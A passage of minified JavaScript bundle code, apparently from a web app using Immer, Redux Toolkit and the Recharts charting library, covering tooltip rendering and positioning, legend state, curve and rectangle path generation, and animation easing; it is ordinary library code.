e.base_?(e.assigned_[t]=!1,np(e),Km(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Oi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Dn(11)},getPrototypeOf(e){return Oo(e.base_)},setPrototypeOf(){Dn(12)}},Mo={};ou(Kx,(e,t)=>{Mo[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});Mo.deleteProperty=function(e,t){return Mo.set.call(this,e,t,void 0)};Mo.set=function(e,t,n){return Kx.set.call(this,e[0],t,n,e[0])};function tp(e,t){const n=e[cn];return(n?Oi(n):e)[t]}function qT(e,t,n){var i;const r=dN(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function dN(e,t){if(!(t in e))return;let n=Oo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Oo(n)}}function Km(e){e.modified_||(e.modified_=!0,e.parent_&&Km(e.parent_))}function np(e){e.copy_||(e.copy_=Um(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var YT=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const a=n;n=t;const o=this;return function(c=a,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Dn(6),r!==void 0&&typeof r!="function"&&Dn(7);let i;if(ra(t)){const a=_y(this),o=qm(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?Vm(a):Hm(a)}return Ay(a,r),Oy(i,a)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===oN&&(i=void 0),this.autoFreeze_&&Hx(i,!0),r){const a=[],o=[];ia("Patches").generateReplacementPatches_(t,i,a,o),r(a,o)}return i}else Dn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){ra(e)||Dn(8),Qa(e)&&(e=GT(e));const t=_y(this),n=qm(e,void 0);return n[cn].isManual_=!0,Hm(t),n}finishDraft(e,t){const n=e&&e[cn];(!n||!n.isManual_)&&Dn(9);const{scope_:r}=n;return Ay(r,t),Oy(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=ia("Patches").applyPatches_;return Qa(e)?r(e,t):this.produce(e,i=>r(i,t))}};function qm(e,t){const n=el(e)?ia("MapSet").proxyMap_(e,t):Ld(e)?ia("MapSet").proxySet_(e,t):KT(e,t);return(t?t.scope_:uN()).drafts_.push(n),n}function GT(e){return Qa(e)||Dn(10,e),fN(e)}function fN(e){if(!ra(e)||Id(e))return e;const t=e[cn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Um(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Um(e,!0);return ou(n,(i,a)=>{cN(n,i,fN(a))},r),t&&(t.finalized_=!1),n}var XT=new YT;XT.produce;var ZT={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},pN=Xt({name:"legend",initialState:ZT,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:Ue()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Fn(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:Ue()},removeLegendPayload:{reducer(e,t){var n=Fn(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:Ue()}}}),{setLegendSize:TV,setLegendSettings:MV,addLegendPayload:mN,replaceLegendPayload:hN,removeLegendPayload:xN}=pN.actions,QT=pN.reducer;function Ym(){return Ym=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Ym.apply(null,arguments)}function My(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function As(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?My(Object(n),!0).forEach(function(r){JT(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):My(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function JT(e,t,n){return(t=eM(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function eM(e){var t=tM(e,"string");return typeof t=="symbol"?t:t+""}function tM(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function nM(e){return Array.isArray(e)&&Pr(e[0])&&Pr(e[1])?e.join(" ~ "):e}var fa={separator:" : ",contentStyle:{margin:0,padding:10,backgroundColor:"#fff",border:"1px solid #ccc",whiteSpace:"nowrap"},itemStyle:{display:"block",paddingTop:4,paddingBottom:4,color:"#000"},labelStyle:{},accessibilityLayer:!1},rM=e=>{var{separator:t=fa.separator,contentStyle:n,itemStyle:r,labelStyle:i=fa.labelStyle,payload:a,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:m=fa.accessibilityLayer}=e,h=()=>{if(a&&a.length){var k={padding:0,margin:0},S=(l?gd(a,l):a).map((N,z)=>{if(N.type==="none")return null;var _=N.formatter||o||nM,{value:A,name:O}=N,P=A,I=O;if(_){var U=_(A,O,N,z,a);if(Array.isArray(U))[P,I]=U;else if(U!=null)P=U;else return null}var D=As(As({},fa.itemStyle),{},{color:N.color||fa.itemStyle.color},r);return p.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(z),style:D},Pr(I)?p.createElement("span",{className:"recharts-tooltip-item-name"},I):null,Pr(I)?p.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,p.createElement("span",{className:"recharts-tooltip-item-value"},P),p.createElement("span",{className:"recharts-tooltip-item-unit"},N.unit||""))});return p.createElement("ul",{className:"recharts-tooltip-item-list",style:k},S)}return null},x=As(As({},fa.contentStyle),n),g=As({margin:0},i),y=!Pt(d),v=y?d:"",b=Xe("recharts-default-tooltip",c),w=Xe("recharts-tooltip-label",u);y&&f&&a!==void 0&&a!==null&&(v=f(d,a));var j=m?{role:"status","aria-live":"assertive"}:{};return p.createElement("div",Ym({className:b,style:x},j),p.createElement("p",{className:w,style:g},p.isValidElement(v)?v:"".concat(v)),h())},_s="recharts-tooltip-wrapper",iM={visibility:"hidden"};function aM(e){var{coordinate:t,translateX:n,translateY:r}=e;return Xe(_s,{["".concat(_s,"-right")]:he(n)&&t&&he(t.x)&&n>=t.x,["".concat(_s,"-left")]:he(n)&&t&&he(t.x)&&n<t.x,["".concat(_s,"-bottom")]:he(r)&&t&&he(t.y)&&r>=t.y,["".concat(_s,"-top")]:he(r)&&t&&he(t.y)&&r<t.y})}function Ly(e){var{allowEscapeViewBox:t,coordinate:n,key:r,offset:i,position:a,reverseDirection:o,tooltipDimension:l,viewBox:c,viewBoxDimension:u}=e;if(a&&he(a[r]))return a[r];var d=n[r]-l-(i>0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var m=c[r];if(m==null)return 0;if(o[r]){var h=d,x=m;return h<x?Math.max(f,m):Math.max(d,m)}if(u==null)return 0;var g=f+l,y=m+u;return g>y?Math.max(d,m):Math.max(f,m)}function sM(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function oM(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:a,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,m;return l.height>0&&l.width>0&&n?(f=Ly({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:a,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),m=Ly({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:a,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=sM({translateX:f,translateY:m,useTranslate3d:c})):d=iM,{cssProperties:d,cssClasses:aM({translateX:f,translateY:m,coordinate:n})}}function Iy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function $l(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Iy(Object(n),!0).forEach(function(r){Gm(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Iy(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function Gm(e,t,n){return(t=lM(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function lM(e){var t=cM(e,"string");return typeof t=="symbol"?t:t+""}function cM(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class uM extends p.PureComponent{constructor(){super(...arguments),Gm(this,"state",{dismissed:!1,dismissedAtCoordinate:{x:0,y:0}}),Gm(this,"handleKeyDown",t=>{if(t.key==="Escape"){var n,r,i,a;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(a=this.props.coordinate)===null||a===void 0?void 0:a.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:a,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:m,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:k}=oM({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:m,viewBox:h}),S=v?{}:$l($l({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},k),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),N=$l($l({},S),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return p.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:N,ref:y},a)}}var vN=()=>{var e;return(e=ye(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function Xm(){return Xm=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Xm.apply(null,arguments)}function Dy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Ry(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Dy(Object(n),!0).forEach(function(r){dM(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Dy(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function dM(e,t,n){return(t=fM(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function fM(e){var t=pM(e,"string");return typeof t=="symbol"?t:t+""}function pM(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var $y={curveBasisClosed:O_,curveBasisOpen:T_,curveBasis:__,curveBumpX:v_,curveBumpY:g_,curveLinearClosed:M_,curveLinear:ud,curveMonotoneX:L_,curveMonotoneY:I_,curveNatural:D_,curveStep:R_,curveStepAfter:B_,curveStepBefore:$_},uu=e=>ze(e.x)&&ze(e.y),By=e=>e.base!=null&&uu(e.base)&&uu(e),Os=e=>e.x,Ts=e=>e.y,mM=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(Go(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=$y["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return $y[n]||ud},Fy={connectNulls:!1,type:"linear"},hM=e=>{var{type:t=Fy.type,points:n=[],baseLine:r,layout:i,connectNulls:a=Fy.connectNulls}=e,o=mM(t,i),l=a?n.filter(uu):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>Ry(Ry({},x),{},{base:r[g]}));i==="vertical"?c=_l().y(Ts).x1(Os).x0(x=>x.base.x):c=_l().x(Os).y1(Ts).y0(x=>x.base.y);var d=c.defined(By).curve(o),f=a?u.filter(By):u;return d(f)}var m;i==="vertical"&&he(r)?m=_l().y(Ts).x1(Os).x0(r):he(r)?m=_l().x(Os).y1(Ts).y0(r):m=Pj().x(Os).y(Ts);var h=m.defined(uu).curve(o);return h(l)},Ba=e=>{var{className:t,points:n,path:r,pathRef:i}=e,a=us();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||a,connectNulls:e.connectNulls},l=n&&n.length?hM(o):r;return p.createElement("path",Xm({},Cr(e),Sx(e),{className:Xe("recharts-curve",t),d:l===null?void 0:l,ref:i}))},xM=["x","y","top","left","width","height","className"];function Zm(){return Zm=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Zm.apply(null,arguments)}function Wy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function vM(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Wy(Object(n),!0).forEach(function(r){gM(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Wy(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function gM(e,t,n){return(t=yM(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function yM(e){var t=bM(e,"string");return typeof t=="symbol"?t:t+""}function bM(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function wM(e,t){if(e==null)return{};var n,r,i=jM(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function jM(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var kM=(e,t,n,r,i,a)=>"M".concat(e,",").concat(i,"v").concat(r,"M").concat(a,",").concat(t,"h").concat(n),NM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:a=0,height:o=0,className:l}=e,c=wM(e,xM),u=vM({x:t,y:n,top:r,left:i,width:a,height:o},c);return!he(t)||!he(n)||!he(a)||!he(o)||!he(r)||!he(i)?null:p.createElement("path",Zm({},It(u),{className:Xe("recharts-cross",l),d:kM(t,n,a,o,r,i)}))};function SM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function Uy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Vy(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Uy(Object(n),!0).forEach(function(r){zM(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Uy(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function zM(e,t,n){return(t=CM(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function CM(e){var t=PM(e,"string");return typeof t=="symbol"?t:t+""}function PM(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var EM=e=>e.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),gN=(e,t,n)=>e.map(r=>"".concat(EM(r)," ").concat(t,"ms ").concat(n)).join(","),AM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Lo=(e,t)=>Object.keys(t).reduce((n,r)=>Vy(Vy({},n),{},{[r]:e(r,t[r])}),{});function Hy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ut(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Hy(Object(n),!0).forEach(function(r){_M(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Hy(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function _M(e,t,n){return(t=OM(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function OM(e){var t=TM(e,"string");return typeof t=="symbol"?t:t+""}function TM(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var du=(e,t,n)=>e+(t-e)*n,Qm=e=>{var{from:t,to:n}=e;return t!==n},yN=(e,t,n)=>{var r=Lo((i,a)=>{if(Qm(a)){var[o,l]=e(a.from,a.to,a.velocity);return ut(ut({},a),{},{from:o,velocity:l})}return a},t);return n<1?Lo((i,a)=>Qm(a)&&r[i]!=null?ut(ut({},a),{},{velocity:du(a.velocity,r[i].velocity,n),from:du(a.from,r[i].from,n)}):a,t):yN(e,r,n-1)};function MM(e,t,n,r,i,a){var o,l=r.reduce((m,h)=>ut(ut({},m),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>Lo((m,h)=>h.from,l),u=()=>!Object.values(l).filter(Qm).length,d=null,f=m=>{o||(o=m);var h=m-o,x=h/n.dt;l=yN(n,l,x),i(ut(ut(ut({},e),t),c())),o=m,u()||(d=a.setTimeout(f))};return()=>(d=a.setTimeout(f),()=>{var m;(m=d)===null||m===void 0||m()})}function LM(e,t,n,r,i,a,o){var l=null,c=i.reduce((f,m)=>{var h=e[m],x=t[m];return h==null||x==null?f:ut(ut({},f),{},{[m]:[h,x]})},{}),u,d=f=>{u||(u=f);var m=(f-u)/r,h=Lo((g,y)=>du(...y,n(m)),c);if(a(ut(ut(ut({},e),t),h)),m<1)l=o.setTimeout(d);else{var x=Lo((g,y)=>du(...y,n(1)),c);a(ut(ut(ut({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const IM=(e,t,n,r,i,a)=>{var o=AM(e,t);return n==null?()=>(i(ut(ut({},e),t)),()=>{}):n.isStepper===!0?MM(e,t,n,o,i,a):LM(e,t,n,r,o,i,a)};var fu=1e-4,bN=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],wN=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),Ky=(e,t)=>n=>{var r=bN(e,t);return wN(r,n)},DM=(e,t)=>n=>{var r=bN(e,t),i=[...r.map((a,o)=>a*o).slice(1),0];return wN(i,n)},RM=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(a=>parseFloat(a));return[i[0],i[1],i[2],i[3]]},$M=function(){for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];if(n.length===1)switch(n[0]){case"linear":return[0,0,1,1];case"ease":return[.25,.1,.25,1];case"ease-in":return[.42,0,1,1];case"ease-out":return[.42,0,.58,1];case"ease-in-out":return[0,0,.58,1];default:{var i=RM(n[0]);if(i)return i}}return n.length===4?n:[0,0,1,1]},BM=(e,t,n,r)=>{var i=Ky(e,n),a=Ky(t,r),o=DM(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,m=0;m<8;++m){var h=i(f)-d,x=o(f);if(Math.abs(h-d)<fu||x<fu)return a(f);f=l(f-h/x)}return a(f)};return c.isStepper=!1,c},qy=function(){return BM(...$M(...arguments))},FM=function(){var t=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,a=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,m=c*i/1e3+o;return Math.abs(m-l)<fu&&Math.abs(f)<fu?[l,0]:[m,f]};return a.isStepper=!0,a.dt=i,a},WM=e=>{if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return qy(e);case"spring":return FM();default:if(e.split("(")[0]==="cubic-bezier")return qy(e)}return typeof e=="function"?e:null};function UM(e){var t,n=()=>null,r=!1,i=null,a=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(a.bind(null,u),c);return}a(c),i=e.setTimeout(a.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),a(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class VM{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,a=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(a))};return i=requestAnimationFrame(a),()=>{i!=null&&cancelAnimationFrame(i)}}}function HM(){return UM(new VM)}var KM=p.createContext(HM);function qM(e,t){var n=p.useContext(KM);return p.useMemo(()=>t??n(e),[e,t,n])}var YM=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Dd={isSsr:YM()},GM={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},Yy={t:0},rp={t:1};function Rd(e){var t=fn(e,GM),{isActive:n,canBegin:r,duration:i,easing:a,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Dd.isSsr:n,f=qM(t.animationId,t.animationManager),[m,h]=p.useState(d?Yy:rp),x=p.useRef(null);return p.useEffect(()=>{d||h(rp)},[d]),p.useEffect(()=>{if(!d||!r)return cs;var g=IM(Yy,rp,WM(a),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,a,o,c,l,f]),u(m.t)}function $d(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=p.useRef(Po(t)),r=p.useRef(e);return r.current!==e&&(n.current=Po(t),r.current=e),n.current}var XM=["radius"],ZM=["radius"],Gy,Xy,Zy,Qy,Jy,e1,t1,n1,r1,i1;function a1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function s1(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?a1(Object(n),!0).forEach(function(r){QM(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):a1(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function QM(e,t,n){return(t=JM(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function JM(e){var t=e8(e,"string");return typeof t=="symbol"?t:t+""}function e8(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function pu(){return pu=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},pu.apply(null,arguments)}function o1(e,t){if(e==null)return{};var n,r,i=t8(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function t8(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function Xn(e,t){return t||(t=e.slice(0)),Object.freeze(Object.defineProperties(e,{raw:{value:Object.freeze(t)}}))}var l1=(e,t,n,r,i)=>{var a=ti(n),o=ti(r),l=Math.min(Math.abs(a)/2,Math.abs(o)/2),c=o>=0?1:-1,u=a>=0?1:-1,d=o>=0&&a>=0||o<0&&a<0?1:0,f;if(l>0&&Array.isArray(i)){for(var m=[0,0,0,0],h=0,x=4;h<x;h++){var g,y=(g=i[h])!==null&&g!==void 0?g:0;m[h]=y>l?l:y}f=Qe(Gy||(Gy=Xn(["M",",",""])),e,t+c*m[0]),m[0]>0&&(f+=Qe(Xy||(Xy=Xn(["A ",",",",0,0,",",",",",""])),m[0],m[0],d,e+u*m[0],t)),f+=Qe(Zy||(Zy=Xn(["L ",",",""])),e+n-u*m[1],t),m[1]>0&&(f+=Qe(Qy||(Qy=Xn(["A ",",",",0,0,",`,
`,",",""])),m[1],m[1],d,e+n,t+c*m[1])),f+=Qe(Jy||(Jy=Xn(["L ",",",""])),e+n,t+r-c*m[2]),m[2]>0&&(f+=Qe(e1||(e1=Xn(["A ",",",",0,0,",`,
`,",",""])),m[2],m[2],d,e+n-u*m[2],t+r)),f+=Qe(t1||(t1=Xn(["L ",",",""])),e+u*m[3],t+r),m[3]>0&&(f+=Qe(n1||(n1=Xn(["A ",",",",0,0,",`,
`,",",""])),m[3],m[3],d,e,t+r-c*m[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=Qe(r1||(r1=Xn(["M ",",",`
A `,",",",0,0,",",",",",`
L `,",",`
